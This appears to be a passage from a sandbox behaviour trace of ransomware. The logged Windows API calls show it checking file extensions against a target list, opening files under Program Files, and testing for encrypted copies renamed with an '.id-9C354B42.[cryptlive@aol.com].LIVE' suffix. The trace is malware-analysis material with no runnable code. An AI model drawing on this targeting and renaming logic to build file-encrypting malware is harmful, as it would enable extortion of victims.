(lpString1=".ppt", lpString2=".inc") returned 1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.839] lstrlenW (lpString=".zip") returned 4 [0052.839] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0052.839] lstrlenW (lpString=".rar") returned 4 [0052.839] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0052.839] lstrlenW (lpString=".bz2") returned 4 [0052.839] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0052.839] lstrlenW (lpString=".7z") returned 3 [0052.839] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.839] lstrlenW (lpString=".dbf") returned 4 [0052.839] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.839] lstrlenW (lpString=".1cd") returned 4 [0052.839] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0052.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0052.839] lstrlenW (lpString=".jpg") returned 4 [0052.839] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0052.839] lstrcmpiW (lpString1=".inc", lpString2=".LIVE") returned -1 [0052.839] lstrlenW (lpString="adcjavas.inc") returned 12 [0052.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.885] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=630) returned 1 [0052.885] CloseHandle (hObject=0x214) returned 1 [0052.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0052.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0052.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0052.885] lstrlenW (lpString=".doc") returned 4 [0052.885] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0052.885] lstrlenW (lpString=".docx") returned 5 [0052.885] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0052.885] lstrlenW (lpString=".pdf") returned 4 [0052.885] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0052.885] lstrlenW (lpString=".xls") returned 4 [0052.886] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0052.886] lstrlenW (lpString=".xlsx") returned 5 [0052.886] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0052.886] lstrlenW (lpString=".ppt") returned 4 [0052.886] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0052.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0052.886] lstrlenW (lpString=".zip") returned 4 [0052.886] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0052.886] lstrlenW (lpString=".rar") returned 4 [0052.886] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0052.886] lstrlenW (lpString=".bz2") returned 4 [0052.886] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0052.886] lstrlenW (lpString=".7z") returned 3 [0052.886] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0052.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0052.886] lstrlenW (lpString=".dbf") returned 4 [0052.886] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0052.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0052.886] lstrlenW (lpString=".1cd") returned 4 [0052.886] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0052.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0052.886] lstrlenW (lpString=".jpg") returned 4 [0053.080] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0053.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0053.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0053.080] lstrlenW (lpString=".doc") returned 4 [0053.080] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0053.080] lstrlenW (lpString=".docx") returned 5 [0053.080] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0053.080] lstrlenW (lpString=".pdf") returned 4 [0053.080] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0053.080] lstrlenW (lpString=".xls") returned 4 [0053.080] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0053.080] lstrlenW (lpString=".xlsx") returned 5 [0053.080] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0053.080] lstrlenW (lpString=".ppt") returned 4 [0053.080] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0053.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0053.080] lstrlenW (lpString=".zip") returned 4 [0053.080] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0053.080] lstrlenW (lpString=".rar") returned 4 [0053.080] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0053.080] lstrlenW (lpString=".bz2") returned 4 [0053.080] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0053.080] lstrlenW (lpString=".7z") returned 3 [0053.080] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0053.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0053.080] lstrlenW (lpString=".dbf") returned 4 [0053.080] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0053.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0053.080] lstrlenW (lpString=".1cd") returned 4 [0053.080] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0053.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0053.081] lstrlenW (lpString=".jpg") returned 4 [0053.081] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0053.081] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.081] lstrlenW (lpString="DissolveNoise.png") returned 17 [0053.081] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.794] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=751669) returned 1 [0053.794] CloseHandle (hObject=0x208) returned 1 [0053.794] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0053.794] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.794] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString=".doc") returned 4 [0053.795] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.795] lstrlenW (lpString=".docx") returned 5 [0053.795] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0053.795] lstrlenW (lpString=".pdf") returned 4 [0053.795] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.795] lstrlenW (lpString=".xls") returned 4 [0053.795] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.795] lstrlenW (lpString=".xlsx") returned 5 [0053.795] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0053.795] lstrlenW (lpString=".ppt") returned 4 [0053.795] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString=".zip") returned 4 [0053.795] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.795] lstrlenW (lpString=".rar") returned 4 [0053.795] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.795] lstrlenW (lpString=".bz2") returned 4 [0053.795] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.795] lstrlenW (lpString=".7z") returned 3 [0053.795] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString=".dbf") returned 4 [0053.795] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString=".1cd") returned 4 [0053.795] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString=".jpg") returned 4 [0053.795] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.795] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.796] lstrlenW (lpString=".doc") returned 4 [0053.796] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.796] lstrlenW (lpString=".docx") returned 5 [0053.796] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0053.796] lstrlenW (lpString=".pdf") returned 4 [0053.796] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.796] lstrlenW (lpString=".xls") returned 4 [0053.796] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.796] lstrlenW (lpString=".xlsx") returned 5 [0053.796] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0053.796] lstrlenW (lpString=".ppt") returned 4 [0053.796] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.796] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.796] lstrlenW (lpString=".zip") returned 4 [0053.796] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.796] lstrlenW (lpString=".rar") returned 4 [0053.796] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.796] lstrlenW (lpString=".bz2") returned 4 [0053.796] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.796] lstrlenW (lpString=".7z") returned 3 [0053.796] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.796] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.796] lstrlenW (lpString=".dbf") returned 4 [0053.796] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.796] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.796] lstrlenW (lpString=".1cd") returned 4 [0053.796] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.796] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0053.796] lstrlenW (lpString=".jpg") returned 4 [0053.796] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.796] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.796] lstrlenW (lpString="203x8subpicture.png") returned 19 [0053.797] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0054.326] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2820) returned 1 [0054.326] CloseHandle (hObject=0x210) returned 1 [0054.327] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0054.327] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0054.327] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.327] lstrlenW (lpString=".doc") returned 4 [0054.327] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0054.327] lstrlenW (lpString=".docx") returned 5 [0054.327] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0054.327] lstrlenW (lpString=".pdf") returned 4 [0054.327] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0054.327] lstrlenW (lpString=".xls") returned 4 [0054.327] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0054.327] lstrlenW (lpString=".xlsx") returned 5 [0054.327] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0054.327] lstrlenW (lpString=".ppt") returned 4 [0054.327] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0054.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.327] lstrlenW (lpString=".zip") returned 4 [0054.327] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0054.327] lstrlenW (lpString=".rar") returned 4 [0054.327] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0054.327] lstrlenW (lpString=".bz2") returned 4 [0054.327] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0054.327] lstrlenW (lpString=".7z") returned 3 [0054.327] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0054.327] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.327] lstrlenW (lpString=".dbf") returned 4 [0054.327] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0054.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.328] lstrlenW (lpString=".1cd") returned 4 [0054.328] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0054.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.328] lstrlenW (lpString=".jpg") returned 4 [0054.328] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0054.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.328] lstrlenW (lpString=".doc") returned 4 [0054.328] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0054.328] lstrlenW (lpString=".docx") returned 5 [0054.328] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0054.328] lstrlenW (lpString=".pdf") returned 4 [0054.328] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0054.328] lstrlenW (lpString=".xls") returned 4 [0054.328] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0054.328] lstrlenW (lpString=".xlsx") returned 5 [0054.328] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0054.328] lstrlenW (lpString=".ppt") returned 4 [0054.328] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0054.328] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.328] lstrlenW (lpString=".zip") returned 4 [0054.328] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0054.328] lstrlenW (lpString=".rar") returned 4 [0054.328] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0054.328] lstrlenW (lpString=".bz2") returned 4 [0054.328] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0054.329] lstrlenW (lpString=".7z") returned 3 [0054.329] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0054.330] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.330] lstrlenW (lpString=".dbf") returned 4 [0054.330] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0054.330] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.330] lstrlenW (lpString=".1cd") returned 4 [0054.330] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0054.330] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned 77 [0054.330] lstrlenW (lpString=".jpg") returned 4 [0054.330] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0054.330] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0054.330] lstrlenW (lpString="Postage_VideoInset.png") returned 22 [0054.330] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.681] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=3214) returned 1 [0054.681] CloseHandle (hObject=0x178) returned 1 [0054.681] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png")) returned 0x20 [0054.682] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0054.682] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.682] lstrlenW (lpString=".doc") returned 4 [0054.682] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0054.682] lstrlenW (lpString=".docx") returned 5 [0054.682] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0054.682] lstrlenW (lpString=".pdf") returned 4 [0054.682] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0054.682] lstrlenW (lpString=".xls") returned 4 [0054.682] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0054.682] lstrlenW (lpString=".xlsx") returned 5 [0054.682] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0054.682] lstrlenW (lpString=".ppt") returned 4 [0054.682] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0054.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.682] lstrlenW (lpString=".zip") returned 4 [0054.682] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0054.682] lstrlenW (lpString=".rar") returned 4 [0054.682] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0054.682] lstrlenW (lpString=".bz2") returned 4 [0054.682] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0054.682] lstrlenW (lpString=".7z") returned 3 [0054.682] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0054.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.682] lstrlenW (lpString=".dbf") returned 4 [0054.682] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0054.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString=".1cd") returned 4 [0054.683] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString=".jpg") returned 4 [0054.683] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString=".doc") returned 4 [0054.683] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0054.683] lstrlenW (lpString=".docx") returned 5 [0054.683] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0054.683] lstrlenW (lpString=".pdf") returned 4 [0054.683] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0054.683] lstrlenW (lpString=".xls") returned 4 [0054.683] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0054.683] lstrlenW (lpString=".xlsx") returned 5 [0054.683] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0054.683] lstrlenW (lpString=".ppt") returned 4 [0054.683] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0054.683] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString=".zip") returned 4 [0054.683] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0054.683] lstrlenW (lpString=".rar") returned 4 [0054.683] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0054.683] lstrlenW (lpString=".bz2") returned 4 [0054.683] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0054.683] lstrlenW (lpString=".7z") returned 3 [0054.683] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString=".dbf") returned 4 [0054.683] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0054.683] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.683] lstrlenW (lpString=".1cd") returned 4 [0054.684] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0054.684] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png") returned 66 [0054.684] lstrlenW (lpString=".jpg") returned 4 [0054.684] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0054.684] lstrcmpiW (lpString1=".bmp", lpString2=".LIVE") returned -1 [0054.684] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32 [0054.684] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0055.896] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=5072) returned 1 [0055.896] CloseHandle (hObject=0x218) returned 1 [0055.896] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0055.897] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0055.897] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.897] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.897] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0055.897] lstrlenW (lpString=".doc") returned 4 [0055.897] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString=".docx") returned 5 [0055.898] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0055.898] lstrlenW (lpString=".pdf") returned 4 [0055.898] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0055.898] lstrlenW (lpString=".xls") returned 4 [0055.898] lstrcmpiW 